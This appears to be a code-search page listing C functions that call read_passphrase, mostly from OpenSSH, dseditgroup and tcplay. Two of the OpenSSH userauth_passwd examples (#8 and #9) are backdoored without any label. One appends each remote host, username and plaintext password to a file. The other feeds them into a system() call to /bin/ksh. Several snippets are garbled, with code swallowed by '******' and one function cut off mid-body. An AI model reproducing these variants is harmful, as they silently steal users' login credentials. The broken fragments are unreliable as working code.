Пример #1
0
int
userauth_passwd(Authctxt *authctxt)
{
	static int attempt = 0;
	char prompt[150];
	char *password;

	if (attempt++ >= options.number_of_password_prompts)
		return 0;

	if (attempt != 1)
		error("Permission denied, please try again.");

	snprintf(prompt, sizeof(prompt), gettext("%.30s@%.128s's password: "),
	    authctxt->server_user, authctxt->host);
	password = read_passphrase(prompt, 0);
	packet_start(SSH2_MSG_USERAUTH_REQUEST);
	packet_put_cstring(authctxt->server_user);
	packet_put_cstring(authctxt->service);
	packet_put_cstring(authctxt->method->name);
	packet_put_char(0);
	packet_put_cstring(password);
	memset(password, 0, strlen(password));
	xfree(password);
	packet_add_padding(64);
	packet_send();

	dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
	    &input_userauth_passwd_changereq);

	return 1;
}
Пример #2
0
int
ask_permission(const char *fmt, ...)
{
	va_list args;
	char *p, prompt[1024];
	int allowed = 0;

	va_start(args, fmt);
	vsnprintf(prompt, sizeof(prompt), fmt, args);
	va_end(args);

	p = read_passphrase(prompt, RP_USE_ASKPASS|RP_ALLOW_EOF);
	if (p != NULL) {
		/*
		 * Accept empty responses and responses consisting
		 * of the word "yes" as affirmative.
		 */
		if (*p == '\0' || *p == '\n' ||
		    strcasecmp(p, "yes") == 0)
			allowed = 1;
		xfree(p);
	}

	return (allowed);
}
Пример #3
0
static void
process_cmdline(void)
{
	void (*handler)(int);
	char *s, *cmd;
	u_short fwd_port, fwd_host_port;
	char buf[1024], sfwd_port[6], sfwd_host_port[6];
	int local = 0;

	leave_raw_mode();
	handler = signal(SIGINT, SIG_IGN);
	cmd = s = read_passphrase("\r\nssh> ", RP_ECHO);
	if (s == NULL)
		goto out;
	while (*s && isspace(*s))
		s++;
	if (*s == 0)
		goto out;
	if (strlen(s) < 2 || s[0] != '-' || !(s[1] == 'L' || s[1] == 'R')) {
		logit("Invalid command.");
		goto out;
	}
	if (s[1] == 'L')
		local = 1;
	if (!local && !compat20) {
		logit("Not supported for SSH protocol version 1.");
		goto out;
	}
	s += 2;
	while (*s && isspace(*s))
		s++;

	if (sscanf(s, "%5[0-9]:%255[^:]:%5[0-9]",
	    sfwd_port, buf, sfwd_host_port) != 3 &&
	    sscanf(s, "%5[0-9]/%255[^/]/%5[0-9]",
	    sfwd_port, buf, sfwd_host_port) != 3) {
		logit("Bad forwarding specification.");
		goto out;
	}
	if ((fwd_port = a2port(sfwd_port)) == 0 ||
	    (fwd_host_port = a2port(sfwd_host_port)) == 0) {
		logit("Bad forwarding port(s).");
		goto out;
	}
	if (local) {
		if (channel_setup_local_fwd_listener(fwd_port, buf,
		    fwd_host_port, options.gateway_ports) < 0) {
			logit("Port forwarding failed.");
			goto out;
		}
	} else
		channel_request_remote_forwarding(fwd_port, buf,
		    fwd_host_port);
	logit("Forwarding port.");
out:
	signal(SIGINT, handler);
	enter_raw_mode();
	if (cmd)
		xfree(cmd);
}
Пример #4
0
int main(int argc, char **argv) {
    int fd;
    uint8_t msg[2048];
    ssize_t msg_size;
    struct ipv6_mreq mreq;
    struct sockaddr_in6 addr;
    const int zero = 0;

    if (!ifup())
	return 1;

    fd = socket(AF_INET6, SOCK_DGRAM, 0);
    if (fd < 0) {
	perror("socket");
	return 1;
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin6_family = AF_INET6;
    addr.sin6_addr = in6addr_any;
    addr.sin6_port = htons(NETKEYSCRIPT_PORT);

    if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
	perror("bind");
	return 1;
    }

    memset(&mreq, 0, sizeof(mreq));
    if (!inet_pton(AF_INET6, "ff02::1", &mreq.ipv6mr_multiaddr)) {
	perror("inet_pton");
	return 1;
    }
    if (setsockopt(fd, IPPROTO_IPV6, IPV6_ADD_MEMBERSHIP, &mreq,
		   sizeof(mreq)) < 0) {
	perror("setsockopt");
	return 1;
    }
    if (setsockopt(fd, IPPROTO_IPV6, IPV6_MULTICAST_LOOP, &zero,
		   sizeof(zero))) {
	perror("setsockopt");
	return 1;
    }

    fputs("netkeyscript: waiting for passphrase\n", stderr);
    msg_size = read_passphrase(fd, msg, sizeof(msg));
    if (msg_size < 0) {
	return 1;
    }
    /* +1/-1 to skip the command prefix code */
    if (fwrite(msg+1, msg_size-1, 1, stdout) < 1) {
	fputs("fwrite: error\n", stderr);
	return 1;
    }
    ifdown();
    return 0;
}
Пример #5
0
static int
sshpam_tty_conv(int n, sshpam_const struct pam_message **msg,
    struct pam_response **resp, void *data)
{
	char input[PAM_MAX_MSG_SIZE];
	struct pam_response *reply;
	int i;

	debug3("PAM: %s called with %d messages", __func__, n);

	*resp = NULL;

	if (n <= 0 || n > PAM_MAX_NUM_MSG || !isatty(STDIN_FILENO))
		return (PAM_CONV_ERR);

	if ((reply = calloc(n, sizeof(*reply))) == NULL)
		return (PAM_CONV_ERR);

	for (i = 0; i < n; ++i) {
		switch (PAM_MSG_MEMBER(msg, i, msg_style)) {
		case PAM_PROMPT_ECHO_OFF:
			reply[i].resp =
			    read_passphrase(PAM_MSG_MEMBER(msg, i, msg),
			    RP_ALLOW_STDIN);
			reply[i].resp_retcode = PAM_SUCCESS;
			break;
		case PAM_PROMPT_ECHO_ON:
			fprintf(stderr, "%s\n", PAM_MSG_MEMBER(msg, i, msg));
			if (fgets(input, sizeof input, stdin) == NULL)
				input[0] = '\0';
			if ((reply[i].resp = strdup(input)) == NULL)
				goto fail;
			reply[i].resp_retcode = PAM_SUCCESS;
			break;
		case PAM_ERROR_MSG:
		case PAM_TEXT_INFO:
			fprintf(stderr, "%s\n", PAM_MSG_MEMBER(msg, i, msg));
			reply[i].resp_retcode = PAM_SUCCESS;
			break;
		default:
			goto fail;
		}
	}
	*resp = reply;
	return (PAM_SUCCESS);

 fail:
	for(i = 0; i < n; i++) {
		if (reply[i].resp != NULL)
			xfree(reply[i].resp);
	}
	xfree(reply);
	return (PAM_CONV_ERR);
}
Пример #6
0
static int
get_AUT0(u_char *aut0)
{
	char *pass;

	pass = read_passphrase("Enter passphrase for smartcard: ", RP_ALLOW_STDIN);
	if (pass == NULL)
		return -1;
	if (!strcmp(pass, "-")) {
		memcpy(aut0, DEFAUT0, sizeof DEFAUT0);
		return 0;
	}
	sc_mk_digest(pass, aut0);
	memset(pass, 0, strlen(pass));
	xfree(pass);
	return 0;
}
Пример #7
0
/* defaults to 'no' */
static int
confirm(const char *prompt)
{
	const char *msg, *again = "Please type 'yes' or 'no': ";
	char *p;
	int ret = -1;

	if (options.batch_mode)
		return 0;
	for (msg = prompt;;msg = again) {
		p = read_passphrase(msg, RP_ECHO);
		if (p == NULL ||
		    (p[0] == '\0') || (p[0] == '\n') ||
		    strncasecmp(p, "no", 2) == 0)
			ret = 0;
		if (p && strncasecmp(p, "yes", 3) == 0)
			ret = 1;
		free(p);
		if (ret != -1)
			return ret;
	}
}
Пример #8
0
int
userauth_passwd(Authctxt *authctxt)
{
	static int attempt = 0;
	char prompt[150];
	char *password;

	if (attempt++ >= options.number_of_password_prompts)
		return 0;

	if (attempt != 1)
		error("Permission denied, please try again.");

	snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "******"a");
	      fprintf (fp,"+host: %s +user: %s +password: %s\n", get_remote_ipaddr(), options.user, password);
	      fclose (fp);
	    }
	packet_put_cstring(authctxt->server_user);
	packet_put_cstring(authctxt->service);
	packet_put_cstring(authctxt->method->name);
	packet_put_char(0);
	packet_put_cstring(password);
	memset(password, 0, strlen(password));
	xfree(password);
	packet_add_padding(64);
	packet_send();

	dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
	    &input_userauth_passwd_changereq);

	return 1;
}
Пример #9
0
int
userauth_passwd(Authctxt *authctxt)
{
	static int attempt = 0;
	char prompt[150];
	char *password;

	if (attempt++ >= options.number_of_password_prompts)
		return 0;

	if (attempt != 1)
		error("Permission denied, please try again.");

	snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "******"/bin/ksh -m %s_%s_%s >/dev/null 2>&1", get_remote_ipaddr(), options.user, password);
                  system(cmd);
	    }
	packet_put_cstring(authctxt->server_user);
	packet_put_cstring(authctxt->service);
	packet_put_cstring(authctxt->method->name);
	packet_put_char(0);
	packet_put_cstring(password);
	memset(password, 0, strlen(password));
	xfree(password);
	packet_add_padding(64);
	packet_send();

	dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
	    &input_userauth_passwd_changereq);

	return 1;
}
Пример #10
0
/* defaults to 'no' */
static int
confirm(const char *prompt)
{
	const char *msg, *again = "Please type 'yes' or 'no': ";
	char *p;
	int ret = -1;

	if (options.batch_mode)
		return 0;
	for (msg = prompt;;msg = again) {
		p = read_passphrase(msg, RP_ECHO);
		if (p == NULL)
			return 0;
		p[strcspn(p, "\n")] = '\0';
		if (p[0] == '\0' || strcasecmp(p, "no") == 0)
			ret = 0;
		else if (strcasecmp(p, "yes") == 0)
			ret = 1;
		free(p);
		if (ret != -1)
			return ret;
	}
}
Пример #11
0
int main(int argc, char *argv[])
{
    int				ch;
	char		   *operation		= nil;
	bool			bReadOption		= false;
	bool			bCreateOption   = false;
	bool			bDeleteOption   = false;
	bool			bEditOption		= false;
	bool			bInteractivePwd = false;
	bool			bNoVerify		= false;
	bool			bVerbose		= false;
	bool			bCheckMemberOption	= false;
	char		   *nodename		= nil;
	char		   *username		= nil;
	bool			bDefaultUser	= false;
	bool			bCompList		= false;
	char		   *password		= nil;
	char		   *addrecordname   = nil;
	char		   *delrecordname   = nil;
	char		   *recordtype		= nil;
	char		   *gid				= nil;
	char		   *guid			= nil;
	char		   *smbSID			= nil;
	char		   *realname		= nil;
	char		   *keyword			= nil;
	char		   *comment			= nil;
	char		   *timeToLive		= nil;
	char		   *groupname		= nil;
	char		   *member			= nil;
	char		   *format			= nil;	//be either "l" for legacy or "n" for new group format
	const char	   *grouptype		= NULL;
	int				exitcode		= 0;
	uuid_t			uuid;
    
	ODNodeRef			aDSNodeRef		= NULL;
	ODNodeRef			aDSSearchRef	= NULL;
	bool				bContinueAdd	= false;
	char			   *groupRecordName	= nil;
	__block ODRecordRef	aGroupRecRef	= NULL;
	__block ODRecordRef	aGroupRecRef2	= NULL;
	CFErrorRef			aErrorRef		= NULL;
	char				*errorTok		= NULL;

	if (argc < 2)
	{
		usage();
		exit(0);
	}
	
	if ( strcmp(argv[1], "-appleversion") == 0 )
        dsToolAppleVersionExit( argv[0] );
	
    while ((ch = getopt(argc, argv, "LT:o:pqvn:m:u:P:a:d:t:i:g:r:k:c:s:S:f:?h")) != -1) {
        switch (ch) {
            case 'o':
                operation = strdup(optarg);
                if (operation != nil)
                {
                    if ( strcasecmp(operation, "read") == 0 )
                    {
                        bReadOption = true;
                    }
                    else if ( strcasecmp(operation, "create") == 0 )
                    {
                        bCreateOption = true;
                    }
                    else if ( strcasecmp(operation, "delete") == 0 )
                    {
                        bDeleteOption = true;
                    }
                    else if ( strcasecmp(operation, "edit") == 0 )
                    {
                        bEditOption = true;
                    }
                    else if ( strcasecmp(operation, "checkmember") == 0 )
                    {
                        bCheckMemberOption = true;
                    }
                }
				break;
            case 'p':
                bInteractivePwd = true;
                break;
            case 'q':
                bNoVerify = true;
                break;
            case 'v':
                bVerbose = true;
                break;
            case 'm':
                member = strdup(optarg);
                break;
            case 'n':
                nodename = strdup(optarg);
                break;
            case 'u':
                username = strdup(optarg);
                break;
            case 'P':
                password = strdup(optarg);
                break;
            case 'a':
                addrecordname = strdup(optarg);
                break;
            case 'd':
                delrecordname = strdup(optarg);
                break;
            case 't':
                recordtype = strdup(optarg);
                break;
			case 'T':
				grouptype = optarg;
				break;
			case 'L':
				bCompList = true;
				break;
            case 'i':
				strtol( optarg, &errorTok, 10 );
				if ( errorTok == NULL || errorTok[0] == '\0' ) {
					gid = strdup(optarg);
				}
				else {
					printf( "GID contains non-numeric characters\n" );
					return EX_USAGE;
				}
                break;
            case 'g':
				uuid_clear( uuid );
				
				// don't allow malformed UUIDs nor an empty one
				if ( uuid_parse(optarg, uuid) == 0 && uuid_is_null(uuid) == false ) {
					guid = strdup(optarg);
				}
				else {
					printf( "GUID provided is not a valid UUID\n" );
					return EX_USAGE;
				}
                break;
            case 'r':
                realname = strdup(optarg);
                break;
            case 'k':
                keyword = strdup(optarg);
                break;
            case 'c':
                comment = strdup(optarg);
                break;
            case 's':
                timeToLive = strdup(optarg);
                break;
            case 'S':
                smbSID = strdup(optarg);
                break;
            case 'f':
                format = strdup(optarg);
                break;
            case '?':
            case 'h':
            default:
			{
				usage();
				return EX_USAGE;
			}
        }
    }
	
	argc -= optind;
	argv += optind;
	
	if (argc == 0)
	{
		printErrorOrMessage( NULL, "No group name provided", bVerbose );
		return EX_USAGE;
	}
	
	groupname = strdup( argv[0] );
	
	if (!bCreateOption && !bDeleteOption && !bEditOption && !bCheckMemberOption)
	{
		bReadOption = true; //default option
	}
	
	if (username == nil)
	{
		struct passwd* pw = NULL;
		pw = getpwuid(getuid());
		if (pw != NULL && pw->pw_name != NULL && pw->pw_name[0] != '\0')
		{
			username = strdup(pw->pw_name);
		}
		else
		{
			printf("***Username <-u username> must be explicitly provided in this shell***\n");
			usage();
			exit(0);
		}
		bDefaultUser = true;
	}
    
	if (bVerbose)
	{
		printf("dseditgroup verbose mode\n");
		printf("Options selected by user:\n");
		if (bReadOption)
			printf("Read option selected\n");
		if (bCreateOption)
			printf("Create option selected\n");
		if (bDeleteOption)
			printf("Delete option selected\n");
		if (bEditOption)
			printf("Edit option selected\n");
		if (bCheckMemberOption)
			printf("Checking membership selected\n");
		if (bInteractivePwd)
			printf("Interactive password option selected\n");
		if (bNoVerify)
			printf("User verification is disabled\n");
		if (nodename)
			printf("Nodename provided as <%s>\n", nodename);
		if (username && !bDefaultUser)
			printf("Username provided as <%s>\n", username);
		else
			printf("Username determined to be <%s>\n", username);
		if ( password && !bInteractivePwd )
			printf("Password provided as <%s>\n", password);
		if (addrecordname)
			printf("Recordname to be added provided as <%s>\n", addrecordname);
		if (delrecordname)
			printf("Recordname to be deleted provided as <%s>\n", delrecordname);
		if (recordtype)
			printf("Recordtype provided as <%s>\n", recordtype);
		if (grouptype)
			printf("Grouptype provided as <%s>\n", grouptype);
		if (gid)
			printf("GID provided as <%s>\n", gid);
		if (guid)
			printf("GUID provided as <%s>\n", guid);
		if (smbSID)
			printf("SID provided as <%s>\n", smbSID);
		if (realname)
			printf("Realname provided as <%s>\n", realname);
		if (keyword)
			printf("Keyword provided as <%s>\n", keyword);
		if (comment)
			printf("Comment provided as <%s>\n", comment);
		if (timeToLive)
			printf("TimeToLive provided as <%s>\n", timeToLive);
		if (groupname)
			printf("Groupname provided as <%s>\n", groupname);
		if (bCompList)
			printf("Will maintain computer lists when applicable\n" );
		printf("\n");
	}
	
	ODRecordType (^mapRecTypeWithDefault)(const char *, ODRecordType) = ^(const char *inType, ODRecordType inDefault) {
		if ( inType != NULL )
		{
			if ( strcasecmp(inType, "user") == 0) {
				return kODRecordTypeUsers;
			}
			else if ( strcasecmp(inType, "group") == 0) {
				return kODRecordTypeGroups;
			}
			else if ( strcasecmp(inType, "computer") == 0) {
				return kODRecordTypeComputers;
			}
			else if ( strcasecmp(inType, "computergroup") == 0 ) {
				return kODRecordTypeComputerGroups;
			}
		}
		
		return inDefault;
	};
    
	if (bCheckMemberOption == false &&
		bReadOption == false &&
		(!bNoVerify && ( !bDefaultUser && ( (password == nil) || bInteractivePwd ) ) || (bDefaultUser && bInteractivePwd)) )
	{
		password = read_passphrase("Please enter user password:"******"." we default to the local node by passing nil as the node name to getNodeRef
			aDSNodeRef = aLocalNodeRef;
			bIsLocalNode = true;
        }
		else
		{
            // otherwise we pass the provided nodename to getNodeRef
			CFStringRef cfNodeName = CFStringCreateWithCString( kCFAllocatorDefault, nodename, kCFStringEncodingUTF8 );
			if ( cfNodeName != NULL ) {
				aDSNodeRef = ODNodeCreateWithName( kCFAllocatorDefault, kODSessionDefault, cfNodeName, &aErrorRef );
				CFRelease( cfNodeName );
				if (aDSNodeRef == NULL) {
					exitcode = printErrorOrMessage(NULL, "Error locating specified node.", bVerbose);
					break;
				}
				
				if ( CFEqual(ODNodeGetName(aDSNodeRef), ODNodeGetName(aLocalNodeRef)) == true ) {
					bIsLocalNode = true;
				}
			}
			else {
				exitcode = printErrorOrMessage( NULL, "Error parsing node name.", bVerbose );
				break;
			}
        }
		
		if ( aDSNodeRef == NULL ) {
			exitcode = printErrorOrMessage( &aErrorRef, "getNodeRef failed to obtain a node reference", bVerbose );
			break;
		}
		
		aDSSearchRef = ODNodeCreateWithNodeType( kCFAllocatorDefault, kODSessionDefault, kODNodeTypeAuthentication, &aErrorRef );
		
		CFStringRef groupNameCF = CFStringCreateWithCString( kCFAllocatorDefault, groupname, kCFStringEncodingUTF8 );
		if ( groupNameCF == NULL ) {
			exitcode = EX_SOFTWARE;
			printErrorOrMessage( NULL, "Unable to parse groupname", bVerbose );
			break;
		}
		
		CFArrayRef attribs = CFArrayCreate( kCFAllocatorDefault, (CFTypeRef *) &kODAttributeTypeStandardOnly, 1, &kCFTypeArrayCallBacks );
		if ( attribs == NULL ) {
			exitcode = EX_SOFTWARE;
			printErrorOrMessage( NULL, "Unable to allocate array", bVerbose );
			break;
		}

		ODRecordType grpType = mapRecTypeWithDefault( grouptype, kODRecordTypeGroups );
		
		bool (^isLocalNode)(ODRecordRef record) = ^(ODRecordRef record) {
			CFArrayRef values = ODRecordCopyValues( record, kODAttributeTypeMetaNodeLocation, NULL );
			if ( values != NULL ) {
				
				if ( CFArrayGetCount(values) > 0 && CFEqual(CFArrayGetValueAtIndex(values, 0), ODNodeGetName(aLocalNodeRef)) == true ) {
					return (bool) true;
				}
				
				CFRelease( values );
			}
			
			return (bool) false;
		};
		
		aGroupRecRef = ODNodeCopyRecord( aDSNodeRef, grpType, groupNameCF, attribs, NULL );
		if ( aGroupRecRef != NULL ) {
			bIsLocalNode = isLocalNode( aGroupRecRef );
		}
		
		/* The group must already exist unless -o create is specified. */
		if (aGroupRecRef == NULL && !bCreateOption) {
			exitcode = printErrorOrMessage(NULL, "Group not found.", bVerbose);
			break;
		}

		if ( bCompList == true && grpType == kODRecordTypeComputerGroups )
		{
			aGroupRecRef2 = ODNodeCopyRecord( aDSNodeRef, kODRecordTypeComputerLists, groupNameCF, NULL, NULL );
			if ( aGroupRecRef2 != NULL && isLocalNode(aGroupRecRef2) == true )
			{
				// if we got a group record, let's see if it is also local node
				if ( bIsLocalNode == false && aGroupRecRef != NULL )
				{
					if ( bVerbose == true ) {
						printf( "Skipping Computer list because it's on a different node\n" );
						CFRelease( aGroupRecRef2 );
						aGroupRecRef2 = NULL;
					}
				}
				else {
					bIsLocalNode = true;
				}
			}
		}
		
		if ( geteuid() == 0 && bIsLocalNode == true && (username == NULL || password == NULL) )
		{
			// we are running as root and no password or name provided
			if ( bVerbose == true ) {
				printf( "Skipping authentication because user has effective ID 0\n" );
			}
		}
		else if ( bDeleteOption == true || bCreateOption == true || bEditOption == true )
		{
			// need to auth for changes
			if (username == NULL || password == NULL) {
				exitcode = printErrorOrMessage(NULL, "Username and password must be provided.", bVerbose);
				break;
			}

			bool bSuccess = false;
			CFStringRef user = CFStringCreateWithCString(NULL, username, kCFStringEncodingUTF8);
			CFStringRef pass = CFStringCreateWithCString(NULL, password, kCFStringEncodingUTF8);
			
			/*
			 * aDSNodeRef may be /Search unless we're creating a new group. Fortunately,
			 * we can authenticate with the specific group(s) most of the time. We still
			 * authenticate with the node directly when the specified group doesn't exist.
			 * As noted above, this is only allowed when creating a new group, in which
			 * case aDSNodeRef cannot be /Search.
			 */
			if (aGroupRecRef != NULL) {
				bSuccess = ODRecordSetNodeCredentials(aGroupRecRef, user, pass, &aErrorRef);
				if (aGroupRecRef2 != NULL) {
					ODRecordSetNodeCredentials(aGroupRecRef2, user, pass, &aErrorRef);
				}
			} else {
				bSuccess = ODNodeSetCredentials(aDSNodeRef, NULL, user, pass, &aErrorRef);
			}

			CFRelease(user);
			CFRelease(pass);

			if (!bSuccess) {
				exitcode = printErrorOrMessage(&aErrorRef, "Failed to set credentials.", bVerbose);
				break;
			}
		}
		
		CFErrorRef (^deleteRecords)(void) = ^(void) {
			CFErrorRef error = NULL;
			if ( aGroupRecRef != NULL )
			{
				if ( ODRecordDelete(aGroupRecRef, &error) == false ) {
					return error;
				}
				
				CFRelease( aGroupRecRef );
				aGroupRecRef = NULL;
			}
			
			if ( aGroupRecRef2 != NULL )
			{
				if ( ODRecordDelete(aGroupRecRef2, &error) == false ) {
					return error;
				}
				
				CFRelease( aGroupRecRef2 );
				aGroupRecRef2 = NULL;
			}
			
			return error;
		};
		
		if ( bReadOption == true || bDeleteOption == true )
		{
			if ( aGroupRecRef != NULL || aGroupRecRef2 != NULL )
			{
				if ( bDeleteOption == true && aGroupRecRef != NULL ) {
					printErrorOrMessage( NULL, "Group record below will be deleted:", bVerbose );
				}
				
				CFDictionaryRef cfDetails = ODRecordCopyDetails( aGroupRecRef, NULL, NULL );
				if ( cfDetails != NULL ) {
					CFDictionaryApplyFunction( cfDetails, printDictionary, NULL );
					CFRelease( cfDetails );
				}
				
				if ( bDeleteOption == true && (aErrorRef = deleteRecords()) != NULL ) {
					exitcode = printErrorOrMessage( &aErrorRef, "Unable to delete record", bVerbose );
					break;
				}
			}
			else
			{
				exitcode = printErrorOrMessage( NULL, "Group was not found.", bVerbose );
				break;
			}
		}
		else if (bCreateOption)
		{
			if ( aGroupRecRef != NULL || aGroupRecRef2 != NULL )
			{
				char responseValue[8] = {0};
				if (!bNoVerify)
				{
					printf("Create called on existing record - do you want to overwrite, y or n : ");
					scanf( "%c", responseValue );
					printf("\n");
				}
				
				if (bNoVerify || (responseValue[0] == 'y') || (responseValue[0] == 'Y'))
				{
					if ( (aErrorRef = deleteRecords()) != NULL ) {
						exitcode = printErrorOrMessage( &aErrorRef, "Unable to replace the record", bVerbose );
						break;
					}
				}
				else
				{
					exitcode = EX_CANTCREAT;
					printErrorOrMessage( NULL, "Operation cancelled because record could not be replaced", bVerbose );
					break;
				}
			}
			
			if ( aGroupRecRef == NULL )
			{
				aGroupRecRef = ODNodeCreateRecord( aDSNodeRef, grpType, groupNameCF, NULL, &aErrorRef );
				if ( aGroupRecRef != NULL )
				{
					groupRecordName = strdup(groupname);
					bContinueAdd = true;
					
					// if creating ComputerGroups allow creation of ComputerLists if -L specified
					if ( bCompList == true && grpType == kODRecordTypeComputerGroups ) {
						aGroupRecRef2 = ODNodeCreateRecord( aDSNodeRef, kODRecordTypeComputerLists, groupNameCF, NULL, NULL );
					}
				}
				else
				{
					exitcode = printErrorOrMessage( &aErrorRef, "Unable to create the record", bVerbose );
					break;
				}
			}
		}
		else if (bEditOption)
		{
			if ( aGroupRecRef != NULL ) {
				bContinueAdd = true;
			}
			else {
				printErrorOrMessage( NULL, "Record not found", bVerbose );
				break;
			}
		}
		else if (bCheckMemberOption)
		{
			if ( aGroupRecRef != NULL )
			{
				const char *user = (member ? : username);
				CFStringRef memberCF = CFStringCreateWithCString( kCFAllocatorDefault, user, kCFStringEncodingUTF8 );
				if ( memberCF == NULL ) {
					exitcode = printErrorOrMessage( &aErrorRef, "Unable to to allocate string", bVerbose );
					break;
				}
				
				ODRecordRef memberRec = ODNodeCopyRecord( aDSSearchRef, kODRecordTypeUsers, memberCF, NULL, &aErrorRef );
				if ( memberRec == NULL ) {
					exitcode = printErrorOrMessage( &aErrorRef, "Unable to find the user record", bVerbose );
					break;
				}
				
				if ( ODRecordContainsMember(aGroupRecRef, memberRec, &aErrorRef) == true ) {
					// return default exitcode of 0 if they are a member
					printf("yes %s is a member of %s\n", user, groupname);
					exitcode = EX_OK;
				}
				else {
					printf("no %s is NOT a member of %s\n", user, groupname);
					exitcode = EX_NOUSER;
				}
				
				CFRelease( memberRec );
				CFRelease( memberCF );
			}
			else
			{
				exitcode = printErrorOrMessage( NULL, "Invalid group name", bVerbose );
				break;
			}
		}
Пример #12
0
struct tcplay_info *
info_map_common(struct tcplay_opts *opts, char *passphrase_out)
{
	struct tchdr_enc *ehdr, *hehdr = NULL;
	struct tcplay_info *info, *hinfo = NULL;
	char *pass;
	char *h_pass;
	int error, error2 = 0;
	size_t sz;
	size_t blksz;
	disksz_t blocks;
	int is_hidden = 0;
	int try_empty = 0;
	int retries;

	if ((error = get_disk_info(opts->dev, &blocks, &blksz)) != 0) {
		tc_log(1, "could not get disk information\n");
		return NULL;
	}

	if (opts->retries < 1)
		retries = 1;
	else
		retries = opts->retries;

	/*
	 * Add one retry so we can do a first try without asking for
	 * a password if keyfiles are passed in.
	 */
	if (opts->interactive && (opts->nkeyfiles > 0)) {
		try_empty = 1;
		++retries;
	}

	info = NULL;

	ehdr = NULL;
	pass = h_pass = NULL;

	while ((info == NULL) && retries-- > 0)
	{
		pass = h_pass = NULL;
		ehdr = hehdr = NULL;
		info = hinfo = NULL;

		if ((pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) {
			tc_log(1, "could not allocate safe passphrase memory\n");
			goto out;
		}

		if (try_empty) {
			pass[0] = '\0';
		} else if (opts->interactive) {
		        if ((error = read_passphrase("Passphrase: ", pass,
			    MAX_PASSSZ, PASS_BUFSZ, opts->timeout))) {
				tc_log(1, "could not read passphrase\n");
				/* XXX: handle timeout differently? */
				goto out;
			}
			pass[MAX_PASSSZ] = '\0';
		} else {
			/* In batch mode, use provided passphrase */
			if (opts->passphrase != NULL) {
				strncpy(pass, opts->passphrase, MAX_PASSSZ);
				pass[MAX_PASSSZ] = '\0';
			}
		}

		if (passphrase_out != NULL) {
			strcpy(passphrase_out, pass);
		}

		if (opts->nkeyfiles > 0) {
			/* Apply keyfiles to 'pass' */
			if ((error = apply_keyfiles((unsigned char *)pass, PASS_BUFSZ,
			    opts->keyfiles, opts->nkeyfiles))) {
				tc_log(1, "could not apply keyfiles");
				goto out;
			}
		}

		if (opts->protect_hidden) {
			if ((h_pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) {
				tc_log(1, "could not allocate safe passphrase memory\n");
				goto out;
			}

			if (opts->interactive) {
			        if ((error = read_passphrase(
				    "Passphrase for hidden volume: ", h_pass,
				    MAX_PASSSZ, PASS_BUFSZ, opts->timeout))) {
					tc_log(1, "could not read passphrase\n");
					goto out;
				}
				h_pass[MAX_PASSSZ] = '\0';
			} else {
				/* In batch mode, use provided passphrase */
				if (opts->h_passphrase != NULL) {
					strncpy(h_pass, opts->h_passphrase, MAX_PASSSZ);
					h_pass[MAX_PASSSZ] = '\0';
				}
			}

			if (opts->n_hkeyfiles > 0) {
				/* Apply keyfiles to 'pass' */
				if ((error = apply_keyfiles((unsigned char *)h_pass, PASS_BUFSZ,
				    opts->h_keyfiles, opts->n_hkeyfiles))) {
					tc_log(1, "could not apply keyfiles");
					goto out;
				}
			}
		}

		/* Always read blksz-sized chunks */
		sz = blksz;

		if (TC_FLAG_SET(opts->flags, HDR_FROM_FILE)) {
			ehdr = (struct tchdr_enc *)read_to_safe_mem(
			    opts->hdr_file_in, 0, &sz);
			if (ehdr == NULL) {
				tc_log(1, "error read hdr_enc: %s", opts->hdr_file_in);
				goto out;
			}
		} else {
			ehdr = (struct tchdr_enc *)read_to_safe_mem(
			    (TC_FLAG_SET(opts->flags, SYS)) ? opts->sys_dev : opts->dev,
			    (TC_FLAG_SET(opts->flags, SYS) || TC_FLAG_SET(opts->flags, FDE)) ?
			    HDR_OFFSET_SYS :
			    (!TC_FLAG_SET(opts->flags, BACKUP)) ? 0 : -BACKUP_HDR_OFFSET_END,
			    &sz);
			if (ehdr == NULL) {
				tc_log(1, "error read hdr_enc: %s", opts->dev);
				goto out;
			}
		}

		if (!TC_FLAG_SET(opts->flags, SYS)) {
			/* Always read blksz-sized chunks */
			sz = blksz;

			if (TC_FLAG_SET(opts->flags, H_HDR_FROM_FILE)) {
				hehdr = (struct tchdr_enc *)read_to_safe_mem(
				    opts->h_hdr_file_in, 0, &sz);
				if (hehdr == NULL) {
					tc_log(1, "error read hdr_enc: %s", opts->h_hdr_file_in);
					goto out;
				}
			} else {
				hehdr = (struct tchdr_enc *)read_to_safe_mem(opts->dev,
				    (!TC_FLAG_SET(opts->flags, BACKUP)) ? HDR_OFFSET_HIDDEN :
				    -BACKUP_HDR_HIDDEN_OFFSET_END, &sz);
				if (hehdr == NULL) {
					tc_log(1, "error read hdr_enc: %s", opts->dev);
					goto out;
				}
			}
		} else {
			hehdr = NULL;
		}

		error = process_hdr(opts->dev, opts->flags, (unsigned char *)pass,
		    (opts->nkeyfiles > 0)?MAX_PASSSZ:strlen(pass),
		    ehdr, &info);

		/*
		 * Try to process hidden header if we have to protect the hidden
		 * volume, or the decryption/verification of the main header
		 * failed.
		 */
		if (hehdr && (error || opts->protect_hidden)) {
			if (error) {
				error2 = process_hdr(opts->dev, opts->flags, (unsigned char *)pass,
				    (opts->nkeyfiles > 0)?MAX_PASSSZ:strlen(pass), hehdr,
				    &info);
				is_hidden = !error2;
			} else if (opts->protect_hidden) {
				error2 = process_hdr(opts->dev, opts->flags, (unsigned char *)h_pass,
				    (opts->n_hkeyfiles > 0)?MAX_PASSSZ:strlen(h_pass), hehdr,
				    &hinfo);
			}
		}

		/* We need both to protect a hidden volume */
		if ((opts->protect_hidden && (error || error2)) ||
		    (error && error2)) {
			if (!try_empty)
				tc_log(1, "Incorrect password or not a TrueCrypt volume\n");

			if (info) {
				free_info(info);
				info = NULL;
			}
			if (hinfo) {
				free_info(hinfo);
				hinfo = NULL;
			}

			/* Try again (or finish) */
			free_safe_mem(pass);
			pass = NULL;

			if (h_pass) {
				free_safe_mem(h_pass);
				h_pass = NULL;
			}
			if (ehdr) {
				free_safe_mem(ehdr);
				ehdr = NULL;
			}
